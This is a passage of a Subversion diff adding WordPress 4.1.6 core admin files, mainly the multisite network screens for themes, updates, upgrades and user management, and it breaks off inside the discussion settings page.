+}
+
+$wp_list_table->prepare_items();
+
+add_thickbox();
+
+add_screen_option( 'per_page', array('label' => _x( 'Themes', 'themes per page (screen options)' )) );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' =>
+		'<p>' . __('This screen enables and disables the inclusion of themes available to choose in the Appearance menu for each site. It does not activate or deactivate which theme a site is currently using.') . '</p>' .
+		'<p>' . __('If the network admin disables a theme that is in use, it can still remain selected on that site. If another theme is chosen, the disabled theme will not appear in the site&#8217;s Appearance > Themes screen.') . '</p>' .
+		'<p>' . __('Themes can be enabled on a site by site basis by the network admin on the Edit Site screen (which has a Themes tab); get there via the Edit action link on the All Sites screen. Only network admins are able to install or edit themes.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Network_Admin_Themes_Screen" target="_blank">Documentation on Network Themes</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+$title = __('Themes');
+$parent_file = 'themes.php';
+
+wp_enqueue_script( 'theme-preview' );
+
+require_once(ABSPATH . 'wp-admin/admin-header.php');
+
+?>
+
+<div class="wrap">
+<h2><?php echo esc_html( $title ); if ( current_user_can('install_themes') ) { ?> <a href="theme-install.php" class="add-new-h2"><?php echo esc_html_x('Add New', 'theme'); ?></a><?php }
+if ( $s )
+	printf( '<span class="subtitle">' . __('Search results for &#8220;%s&#8221;') . '</span>', esc_html( $s ) ); ?>
+</h2>
+
+<?php
+if ( isset( $_GET['enabled'] ) ) {
+	$_GET['enabled'] = absint( $_GET['enabled'] );
+	echo '<div id="message" class="updated"><p>' . sprintf( _n( 'Theme enabled.', '%s themes enabled.', $_GET['enabled'] ), number_format_i18n( $_GET['enabled'] ) ) . '</p></div>';
+} elseif ( isset( $_GET['disabled'] ) ) {
+	$_GET['disabled'] = absint( $_GET['disabled'] );
+	echo '<div id="message" class="updated"><p>' . sprintf( _n( 'Theme disabled.', '%s themes disabled.', $_GET['disabled'] ), number_format_i18n( $_GET['disabled'] ) ) . '</p></div>';
+} elseif ( isset( $_GET['deleted'] ) ) {
+	$_GET['deleted'] = absint( $_GET['deleted'] );
+	echo '<div id="message" class="updated"><p>' . sprintf( _nx( 'Theme deleted.', '%s themes deleted.', $_GET['deleted'], 'network' ), number_format_i18n( $_GET['deleted'] ) ) . '</p></div>';
+} elseif ( isset( $_GET['error'] ) && 'none' == $_GET['error'] ) {
+	echo '<div id="message" class="error"><p>' . __( 'No theme selected.' ) . '</p></div>';
+} elseif ( isset( $_GET['error'] ) && 'main' == $_GET['error'] ) {
+	echo '<div class="error"><p>' . __( 'You cannot delete a theme while it is active on the main site.' ) . '</p></div>';
+}
+
+?>
+
+<form method="get" action="">
+<?php $wp_list_table->search_box( __( 'Search Installed Themes' ), 'theme' ); ?>
+</form>
+
+<?php
+$wp_list_table->views();
+
+if ( 'broken' == $status )
+	echo '<p class="clear">' . __('The following themes are installed but incomplete. Themes must have a stylesheet and a template.') . '</p>';
+?>
+
+<form method="post" action="">
+<input type="hidden" name="theme_status" value="<?php echo esc_attr($status) ?>" />
+<input type="hidden" name="paged" value="<?php echo esc_attr($page) ?>" />
+
+<?php $wp_list_table->display(); ?>
+</form>
+
+</div>
+
+<?php
+include(ABSPATH . 'wp-admin/admin-footer.php');
Index: /tags/4.1.6/src/wp-admin/network/update-core.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/update-core.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/update-core.php	(revision 33402)
@@ -0,0 +1,16 @@
+<?php
+/**
+ * Updates network administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+require( ABSPATH . 'wp-admin/update-core.php' );
Index: /tags/4.1.6/src/wp-admin/network/update.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/update.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/update.php	(revision 33402)
@@ -0,0 +1,19 @@
+<?php
+/**
+ * Update/Install Plugin/Theme network administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+if ( isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'update-selected', 'activate-plugin', 'update-selected-themes' ) ) )
+	define( 'IFRAME_REQUEST', true );
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+require( ABSPATH . 'wp-admin/update.php' );
Index: /tags/4.1.6/src/wp-admin/network/upgrade.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/upgrade.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/upgrade.php	(revision 33402)
@@ -0,0 +1,120 @@
+<?php
+/**
+ * Multisite upgrade administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+require_once( ABSPATH . WPINC . '/http.php' );
+
+$title = __( 'Upgrade Network' );
+$parent_file = 'upgrade.php';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' =>
+		'<p>' . __('Only use this screen once you have updated to a new version of WordPress through Updates/Available Updates (via the Network Administration navigation menu or the Toolbar). Clicking the Upgrade Network button will step through each site in the network, five at a time, and make sure any database updates are applied.') . '</p>' .
+		'<p>' . __('If a version update to core has not happened, clicking this button won&#8217;t affect anything.') . '</p>' .
+		'<p>' . __('If this process fails for any reason, users logging in to their sites will force the same update.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Network_Admin_Updates_Screen" target="_blank">Documentation on Upgrade Network</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+if ( ! current_user_can( 'manage_network' ) )
+	wp_die( __( 'You do not have permission to access this page.' ) );
+
+echo '<div class="wrap">';
+echo '<h2>' . __( 'Upgrade Network' ) . '</h2>';
+
+$action = isset($_GET['action']) ? $_GET['action'] : 'show';
+
+switch ( $action ) {
+	case "upgrade":
+		$n = ( isset($_GET['n']) ) ? intval($_GET['n']) : 0;
+
+		if ( $n < 5 ) {
+			global $wp_db_version;
+			update_site_option( 'wpmu_upgrade_site', $wp_db_version );
+		}
+
+		$blogs = $wpdb->get_results( "SELECT blog_id FROM {$wpdb->blogs} WHERE site_id = '{$wpdb->siteid}' AND spam = '0' AND deleted = '0' AND archived = '0' ORDER BY registered DESC LIMIT {$n}, 5", ARRAY_A );
+		if ( empty( $blogs ) ) {
+			echo '<p>' . __( 'All done!' ) . '</p>';
+			break;
+		}
+		echo "<ul>";
+		foreach ( (array) $blogs as $details ) {
+			switch_to_blog( $details['blog_id'] );
+			$siteurl = site_url();
+			$upgrade_url = admin_url( 'upgrade.php?step=upgrade_db' );
+			restore_current_blog();
+			echo "<li>$siteurl</li>";
+			$response = wp_remote_get( $upgrade_url, array( 'timeout' => 120, 'httpversion' => '1.1' ) );
+			if ( is_wp_error( $response ) )
+				wp_die( sprintf( __( 'Warning! Problem updating %1$s. Your server may not be able to connect to sites running on it. Error message: <em>%2$s</em>' ), $siteurl, $response->get_error_message() ) );
+			/**
+			 * Fires after the Multisite DB upgrade for each site is complete.
+			 *
+			 * @since MU
+			 *
+			 * @param array|WP_Error $response The upgrade response array or WP_Error on failure.
+			 */
+			do_action( 'after_mu_upgrade', $response );
+			/**
+			 * Fires after each site has been upgraded.
+			 *
+			 * @since MU
+			 *
+			 * @param int $blog_id The id of the blog.
+			 */
+			do_action( 'wpmu_upgrade_site', $details[ 'blog_id' ] );
+		}
+		echo "</ul>";
+		?><p><?php _e( 'If your browser doesn&#8217;t start loading the next page automatically, click this link:' ); ?> <a class="button" href="upgrade.php?action=upgrade&amp;n=<?php echo ($n + 5) ?>"><?php _e("Next Sites"); ?></a></p>
+		<script type="text/javascript">
+		<!--
+		function nextpage() {
+			location.href = "upgrade.php?action=upgrade&n=<?php echo ($n + 5) ?>";
+		}
+		setTimeout( "nextpage()", 250 );
+		//-->
+		</script><?php
+	break;
+	case 'show':
+	default:
+		if ( get_site_option( 'wpmu_upgrade_site' ) != $GLOBALS['wp_db_version'] ) :
+		?>
+		<h3><?php _e( 'Database Upgrade Required' ); ?></h3>
+		<p><?php _e( 'WordPress has been updated! Before we send you on your way, we need to individually upgrade the sites in your network.' ); ?></p>
+		<?php endif; ?>
+
+		<p><?php _e( 'The database upgrade process may take a little while, so please be patient.' ); ?></p>
+		<p><a class="button" href="upgrade.php?action=upgrade"><?php _e( 'Upgrade Network' ); ?></a></p>
+		<?php
+		/**
+		 * Fires before the footer on the network upgrade screen.
+		 *
+		 * @since MU
+		 */
+		do_action( 'wpmu_upgrade_page' );
+	break;
+}
+?>
+</div>
+
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/4.1.6/src/wp-admin/network/user-edit.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/user-edit.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/user-edit.php	(revision 33402)
@@ -0,0 +1,16 @@
+<?php
+/**
+ * Edit user network administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+require( ABSPATH . 'wp-admin/user-edit.php' );
Index: /tags/4.1.6/src/wp-admin/network/user-new.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/user-new.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/user-new.php	(revision 33402)
@@ -0,0 +1,106 @@
+<?php
+/**
+ * Add New User network administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.1.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+if ( ! current_user_can('create_users') )
+	wp_die(__('You do not have sufficient permissions to add users to this network.'));
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' =>
+		'<p>' . __('Add User will set up a new user account on the network and send that person an email with username and password.') . '</p>' .
+		'<p>' . __('Users who are signed up to the network without a site are added as subscribers to the main or primary dashboard site, giving them profile pages to manage their accounts. These users will only see Dashboard and My Sites in the main navigation until a site is created for them.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Network_Admin_Users_Screen" target="_blank">Documentation on Network Users</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/forum/multisite/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+if ( isset($_REQUEST['action']) && 'add-user' == $_REQUEST['action'] ) {
+	check_admin_referer( 'add-user', '_wpnonce_add-user' );
+	if ( ! current_user_can( 'manage_network_users' ) )
+		wp_die( __( 'You do not have permission to access this page.' ) );
+
+	if ( ! is_array( $_POST['user'] ) )
+		wp_die( __( 'Cannot create an empty user.' ) );
+
+	$user = wp_unslash( $_POST['user'] );
+
+	$user_details = wpmu_validate_user_signup( $user['username'], $user['email'] );
+	if ( is_wp_error( $user_details[ 'errors' ] ) && ! empty( $user_details[ 'errors' ]->errors ) ) {
+		$add_user_errors = $user_details[ 'errors' ];
+	} else {
+		$password = wp_generate_password( 12, false);
+		$user_id = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, sanitize_email( $user['email'] ) );
+
+		if ( ! $user_id ) {
+	 		$add_user_errors = new WP_Error( 'add_user_fail', __( 'Cannot add user.' ) );
+		} else {
+			wp_new_user_notification( $user_id, $password );
+			wp_redirect( add_query_arg( array('update' => 'added'), 'user-new.php' ) );
+			exit;
+		}
+	}
+}
+
+if ( isset($_GET['update']) ) {
+	$messages = array();
+	if ( 'added' == $_GET['update'] )
+		$messages[] = __('User added.');
+}
+
+$title = __('Add New User');
+$parent_file = 'users.php';
+
+require( ABSPATH . 'wp-admin/admin-header.php' ); ?>
+
+<div class="wrap">
+<h2 id="add-new-user"><?php _e('Add New User') ?></h2>
+<?php
+if ( ! empty( $messages ) ) {
+	foreach ( $messages as $msg )
+		echo '<div id="message" class="updated"><p>' . $msg . '</p></div>';
+}
+
+if ( isset( $add_user_errors ) && is_wp_error( $add_user_errors ) ) { ?>
+	<div class="error">
+		<?php
+			foreach ( $add_user_errors->get_error_messages() as $message )
+				echo "<p>$message</p>";
+		?>
+	</div>
+<?php } ?>
+	<form action="<?php echo network_admin_url('user-new.php?action=add-user'); ?>" id="adduser" method="post">
+	<table class="form-table">
+		<tr class="form-field form-required">
+			<th scope="row"><?php _e( 'Username' ) ?></th>
+			<td><input type="text" class="regular-text" name="user[username]" /></td>
+		</tr>
+		<tr class="form-field form-required">
+			<th scope="row"><?php _e( 'Email' ) ?></th>
+			<td><input type="text" class="regular-text" name="user[email]" /></td>
+		</tr>
+		<tr class="form-field">
+			<td colspan="2"><?php _e( 'Username and password will be mailed to the above email address.' ) ?></td>
+		</tr>
+	</table>
+	<?php wp_nonce_field( 'add-user', '_wpnonce_add-user' ); ?>
+	<?php submit_button( __('Add User'), 'primary', 'add-user' ); ?>
+	</form>
+</div>
+<?php
+require( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/network/users.php
===================================================================
--- /tags/4.1.6/src/wp-admin/network/users.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/network/users.php	(revision 33402)
@@ -0,0 +1,296 @@
+<?php
+/**
+ * Multisite users administration panel.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! is_multisite() )
+	wp_die( __( 'Multisite support is not enabled.' ) );
+
+if ( ! current_user_can( 'manage_network_users' ) )
+	wp_die( __( 'You do not have permission to access this page.' ) );
+
+function confirm_delete_users( $users ) {
+	$current_user = wp_get_current_user();
+	if ( !is_array( $users ) )
+		return false;
+	?>
+	<h2><?php esc_html_e( 'Users' ); ?></h2>
+	<p><?php _e( 'Transfer or delete content before deleting users.' ); ?></p>
+	<form action="users.php?action=dodelete" method="post">
+	<input type="hidden" name="dodelete" />
+	<?php
+	wp_nonce_field( 'ms-users-delete' );
+	$site_admins = get_super_admins();
+	$admin_out = '<option value="' . $current_user->ID . '">' . $current_user->user_login . '</option>';
+
+	foreach ( ( $allusers = (array) $_POST['allusers'] ) as $user_id ) {
+		if ( $user_id != '' && $user_id != '0' ) {
+			$delete_user = get_userdata( $user_id );
+
+			if ( ! current_user_can( 'delete_user', $delete_user->ID ) )
+				wp_die( sprintf( __( 'Warning! User %s cannot be deleted.' ), $delete_user->user_login ) );
+
+			if ( in_array( $delete_user->user_login, $site_admins ) )
+				wp_die( sprintf( __( 'Warning! User cannot be deleted. The user %s is a network administrator.' ), $delete_user->user_login ) );
+
+			echo "<input type='hidden' name='user[]' value='{$user_id}'/>\n";
+			$blogs = get_blogs_of_user( $user_id, true );
+
+			if ( !empty( $blogs ) ) {
+				?>
+				<br /><fieldset><p><legend><?php printf( __( "What should be done with content owned by %s?" ), '<em>' . $delete_user->user_login . '</em>' ); ?></legend></p>
+				<?php
+				foreach ( (array) $blogs as $key => $details ) {
+					$blog_users = get_users( array( 'blog_id' => $details->userblog_id, 'fields' => array( 'ID', 'user_login' ) ) );
+					if ( is_array( $blog_users ) && !empty( $blog_users ) ) {
+						$user_site = "<a href='" . esc_url( get_home_url( $details->userblog_id ) ) . "'>{$details->blogname}</a>";
+						$user_dropdown = "<select name='blog[$user_id][$key]'>";
+						$user_list = '';
+						foreach ( $blog_users as $user ) {
+							if ( ! in_array( $user->ID, $allusers ) )
+								$user_list .= "<option value='{$user->ID}'>{$user->user_login}</option>";
+						}
+						if ( '' == $user_list )
+							$user_list = $admin_out;
+						$user_dropdown .= $user_list;
+						$user_dropdown .= "</select>\n";
+						?>
+						<ul style="list-style:none;">
+							<li><?php printf( __( 'Site: %s' ), $user_site ); ?></li>
+							<li><label><input type="radio" id="delete_option0" name="delete[<?php echo $details->userblog_id . '][' . $delete_user->ID ?>]" value="delete" checked="checked" />
+							<?php _e( 'Delete all content.' ); ?></label></li>
+							<li><label><input type="radio" id="delete_option1" name="delete[<?php echo $details->userblog_id . '][' . $delete_user->ID ?>]" value="reassign" />
+							<?php echo __( 'Attribute all content to:' ) . '</label>' . $user_dropdown; ?></li>
+						</ul>
+						<?php
+					}
+				}
+				echo "</fieldset>";
+			}
+		}
+	}
+
+	/** This action is documented in wp-admin/users.php */
+	do_action( 'delete_user_form', $current_user );
+
+	submit_button( __('Confirm Deletion'), 'delete' );
+	?>
+	</form>
+    <?php
+	return true;
+}
+
+if ( isset( $_GET['action'] ) ) {
+	/** This action is documented in wp-admin/network/edit.php */
+	do_action( 'wpmuadminedit' );
+
+	switch ( $_GET['action'] ) {
+		case 'deleteuser':
+			if ( ! current_user_can( 'manage_network_users' ) )
+				wp_die( __( 'You do not have permission to access this page.' ) );
+
+			check_admin_referer( 'deleteuser' );
+
+			$id = intval( $_GET['id'] );
+			if ( $id != '0' && $id != '1' ) {
+				$_POST['allusers'] = array( $id ); // confirm_delete_users() can only handle with arrays
+				$title = __( 'Users' );
+				$parent_file = 'users.php';
+				require_once( ABSPATH . 'wp-admin/admin-header.php' );
+				echo '<div class="wrap">';
+				confirm_delete_users( $_POST['allusers'] );
+				echo '</div>';
+	            require_once( ABSPATH . 'wp-admin/admin-footer.php' );
+	  		} else {
+				wp_redirect( network_admin_url( 'users.php' ) );
+			}
+			exit();
+
+		case 'allusers':
+			if ( !current_user_can( 'manage_network_users' ) )
+				wp_die( __( 'You do not have permission to access this page.' ) );
+
+			if ( ( isset( $_POST['action']) || isset($_POST['action2'] ) ) && isset( $_POST['allusers'] ) ) {
+				check_admin_referer( 'bulk-users-network' );
+
+				$doaction = $_POST['action'] != -1 ? $_POST['action'] : $_POST['action2'];
+				$userfunction = '';
+
+				foreach ( (array) $_POST['allusers'] as $user_id ) {
+					if ( !empty( $user_id ) ) {
+						switch ( $doaction ) {
+							case 'delete':
+								if ( ! current_user_can( 'delete_users' ) )
+									wp_die( __( 'You do not have permission to access this page.' ) );
+								$title = __( 'Users' );
+								$parent_file = 'users.php';
+								require_once( ABSPATH . 'wp-admin/admin-header.php' );
+								echo '<div class="wrap">';
+								confirm_delete_users( $_POST['allusers'] );
+								echo '</div>';
+								require_once( ABSPATH . 'wp-admin/admin-footer.php' );
+								exit();
+
+							case 'spam':
+								$user = get_userdata( $user_id );
+								if ( is_super_admin( $user->ID ) )
+									wp_die( sprintf( __( 'Warning! User cannot be modified. The user %s is a network administrator.' ), esc_html( $user->user_login ) ) );
+
+								$userfunction = 'all_spam';
+								$blogs = get_blogs_of_user( $user_id, true );
+								foreach ( (array) $blogs as $details ) {
+									if ( $details->userblog_id != $current_site->blog_id ) // main blog not a spam !
+										update_blog_status( $details->userblog_id, 'spam', '1' );
+								}
+								update_user_status( $user_id, 'spam', '1' );
+							break;
+
+							case 'notspam':
+								$userfunction = 'all_notspam';
+								$blogs = get_blogs_of_user( $user_id, true );
+								foreach ( (array) $blogs as $details )
+									update_blog_status( $details->userblog_id, 'spam', '0' );
+
+								update_user_status( $user_id, 'spam', '0' );
+							break;
+						}
+					}
+				}
+
+				wp_safe_redirect( add_query_arg( array( 'updated' => 'true', 'action' => $userfunction ), wp_get_referer() ) );
+			} else {
+				$location = network_admin_url( 'users.php' );
+
+				if ( ! empty( $_REQUEST['paged'] ) )
+					$location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location );
+				wp_redirect( $location );
+			}
+			exit();
+
+		case 'dodelete':
+			check_admin_referer( 'ms-users-delete' );
+			if ( ! ( current_user_can( 'manage_network_users' ) && current_user_can( 'delete_users' ) ) )
+				wp_die( __( 'You do not have permission to access this page.' ) );
+
+			if ( ! empty( $_POST['blog'] ) && is_array( $_POST['blog'] ) ) {
+				foreach ( $_POST['blog'] as $id => $users ) {
+					foreach ( $users as $blogid => $user_id ) {
+						if ( ! current_user_can( 'delete_user', $id ) )
+							continue;
+
+						if ( ! empty( $_POST['delete'] ) && 'reassign' == $_POST['delete'][$blogid][$id] )
+							remove_user_from_blog( $id, $blogid, $user_id );
+						else
+							remove_user_from_blog( $id, $blogid );
+					}
+				}
+			}
+			$i = 0;
+			if ( is_array( $_POST['user'] ) && ! empty( $_POST['user'] ) )
+				foreach( $_POST['user'] as $id ) {
+					if ( ! current_user_can( 'delete_user', $id ) )
+						continue;
+					wpmu_delete_user( $id );
+					$i++;
+				}
+
+			if ( $i == 1 )
+				$deletefunction = 'delete';
+			else
+				$deletefunction = 'all_delete';
+
+			wp_redirect( add_query_arg( array( 'updated' => 'true', 'action' => $deletefunction ), network_admin_url( 'users.php' ) ) );
+			exit();
+	}
+}
+
+$wp_list_table = _get_list_table('WP_MS_Users_List_Table');
+$pagenum = $wp_list_table->get_pagenum();
+$wp_list_table->prepare_items();
+$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );
+
+if ( $pagenum > $total_pages && $total_pages > 0 ) {
+	wp_redirect( add_query_arg( 'paged', $total_pages ) );
+	exit;
+}
+$title = __( 'Users' );
+$parent_file = 'users.php';
+
+add_screen_option( 'per_page', array('label' => _x( 'Users', 'users per page (screen options)' )) );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' =>
+		'<p>' . __('This table shows all users across the network and the sites to which they are assigned.') . '</p>' .
+		'<p>' . __('Hover over any user on the list to make the edit links appear. The Edit link on the left will take you to their Edit User profile page; the Edit link on the right by any site name goes to an Edit Site screen for that site.') . '</p>' .
+		'<p>' . __('You can also go to the user&#8217;s profile page by clicking on the individual username.') . '</p>' .
+		'<p>' . __('You can sort the table by clicking on any of the bold headings and switch between list and excerpt views by using the icons in the upper right.') . '</p>' .
+		'<p>' . __('The bulk action will permanently delete selected users, or mark/unmark those selected as spam. Spam users will have posts removed and will be unable to sign up again with the same email addresses.') . '</p>' .
+		'<p>' . __('You can make an existing user an additional super admin by going to the Edit User profile page and checking the box to grant that privilege.') . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Network_Admin_Users_Screen" target="_blank">Documentation on Network Users</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/forum/multisite/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+if ( isset( $_REQUEST['updated'] ) && $_REQUEST['updated'] == 'true' && ! empty( $_REQUEST['action'] ) ) {
+	?>
+	<div id="message" class="updated"><p>
+		<?php
+		switch ( $_REQUEST['action'] ) {
+			case 'delete':
+				_e( 'User deleted.' );
+			break;
+			case 'all_spam':
+				_e( 'Users marked as spam.' );
+			break;
+			case 'all_notspam':
+				_e( 'Users removed from spam.' );
+			break;
+			case 'all_delete':
+				_e( 'Users deleted.' );
+			break;
+			case 'add':
+				_e( 'User added.' );
+			break;
+		}
+		?>
+	</p></div>
+	<?php
+}
+	?>
+<div class="wrap">
+	<h2><?php esc_html_e( 'Users' );
+	if ( current_user_can( 'create_users') ) : ?>
+		<a href="<?php echo network_admin_url('user-new.php'); ?>" class="add-new-h2"><?php echo esc_html_x( 'Add New', 'user' ); ?></a><?php
+	endif;
+
+	if ( !empty( $usersearch ) )
+	printf( '<span class="subtitle">' . __( 'Search results for &#8220;%s&#8221;' ) . '</span>', esc_html( $usersearch ) );
+	?>
+	</h2>
+
+	<?php $wp_list_table->views(); ?>
+
+	<form action="" method="get" class="search-form">
+		<?php $wp_list_table->search_box( __( 'Search Users' ), 'all-user' ); ?>
+	</form>
+
+	<form id="form-user-list" action="users.php?action=allusers" method="post">
+		<?php $wp_list_table->display(); ?>
+	</form>
+</div>
+
+<?php require_once( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/4.1.6/src/wp-admin/options-discussion.php
===================================================================
--- /tags/4.1.6/src/wp-admin/options-discussion.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/options-discussion.php	(revision 33402)
@@ -0,0 +1,273 @@
+<?php
+/**
+ * Discussion settings administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! current_user_can( 'manage_options' ) )
+	wp_die( __( 'You do not have sufficient permissions to manage options for this site.' ) );
+
+$title = __('Discussion Settings');
+$parent_file = 'options-general.php';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => '<p>' . __('This screen provides many options for controlling the management and display of comments and links to your posts/pages. So many, in fact, they won&#8217;t all fit here! :) Use the documentation links to get information on what each discussion setting does.') . '</p>' .
+		'<p>' . __('You must click the Save Changes button at the bottom of the screen for new settings to take effect.') . '</p>',
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Settings_Discussion_Screen" target="_blank">Documentation on Discussion Settings</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<form method="post" action="options.php">
+<?php settings_fields('discussion'); ?>
+
+<table class="form-table">
+<tr>
+<th scope="row"><?php _e('Default article settings'); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Default article settings'); ?></span></legend>
+<label for="default_pingback_flag">
+<input name="default_pingback_flag" type="checkbox" id="default_pingback_flag" value="1" <?php checked('1', get_option('default_pingback_flag')); ?> />
+<?php _e('Attempt to notify any blogs linked to from the article'); ?></label>
+<br />
+<label for="default_ping_status">
+<input name="default_ping_status" type="checkbox" id="default_ping_status" value="open" <?php checked('open', get_option('default_ping_status')); ?> />
+<?php _e('Allow link notifications from other blogs (pingbacks and trackbacks)'); ?></label>
+<br />
+<label for="default_comment_status">
+<input name="default_comment_status" type="checkbox" id="default_comment_status" value="open" <?php checked('open', get_option('default_comment_status')); ?> />
+<?php _e('Allow people to post comments on new articles'); ?></label>
+<br />
+<p class="description"><?php echo '(' . __( 'These settings may be overridden for individual articles.' ) . ')'; ?></p>
+</fieldset></td>
+</tr>
+<tr>
+<th scope="row"><?php _e('Other comment settings'); ?></th>
+<td><fieldset><legend class="screen-reader-text"><span><?php _e('Other comment settings'); ?></span></legend>
+<label for="require_name_email"><input type="checkbox" name="require_name_email" id="require_name_email" value="1" <?php checked('1', get_option('require_name_email')); ?> /> <?php _e('Comment author must fill out name and e-mail'); ?></label>
+<br />
+<label for="comment_registration">
+<input name="comment_registration" type="checkbox" id="comment_registration" value="1" <?php checked('1', get_option('comment_registration')); ?> />
+<?php _e('Users must be registered and logged in to comment'); ?>
+<?php if ( !get_option( 'users_can_register' ) && is_multisite() ) echo ' ' . __( '(Signup has been disabled. Only members of this site can comment.)' ); ?>
+</label>
+<br />
+
+<label for="close_comments_for_old_posts">
+<input name="close_comments_for_old_posts" type="checkbox" id="close_comments_for_old_posts" value="1" <?php checked('1', get_option('close_comments_for_old_posts')); ?> />
+<?php printf( __('Automatically close comments on articles older than %s days'), '</label><label for="close_comments_days_old"><input name="close_comments_days_old" type="number" min="0" step="1" id="close_comments_days_old" value="' . esc_attr(get_option('close_comments_days_old')) . '" class="small-text" />'); ?>
+</label>
+<br />
+<label for="thread_comments">
+<input name="thread_comments" type="checkbox" id="thread_comments" value="1" <?php checked('1', get_option('thread_comments')); ?> />
+<?php
+/**
+ * Filter the maximum depth of threaded/nested comments.
+ *
+ * @since 2.7.0.
+ *
+ * @param int $max_depth The maximum depth of threaded comments. Default 10.
+ */
+$maxdeep = (int) apply_filters( 'thread_comments_depth_max', 10 );
+
+$thread_comments_depth = '</label><label for="thread_comments_depth"><select name="thread_comments_depth" id="thread_comments_depth">';
+for ( $i = 2; $i <= $maxdeep; $i++ ) {
+	$thread_comments_depth .= "<option value='" . esc_attr($i) . "'";
+	if ( get_option('thread_comments_depth') == $i ) $thread_comments_depth .= " selected='selected'";
+	$thread_comments_depth .= ">$i</option>";
+}
+$thread_comments_depth .= '</select>';
+
+printf( __('Enable threaded (nested) comments %s levels deep'), $thread_comments_depth );
+
+?></label>
+<br />
+<label for="page_comments">
+<input name="page_comments" type="checkbox" id="page_comments" value="1" <?php checked('1', get_option('page_comments')); ?> />
+<?php
+
+$default_comments_page = '</label><label for="default_comments_page"><select name="default_comments_page" id="default_comments_page"><option value="newest"';
+if ( 'newest' == get_option('default_comments_page') ) $default_comments_page .= ' selected="selected"';
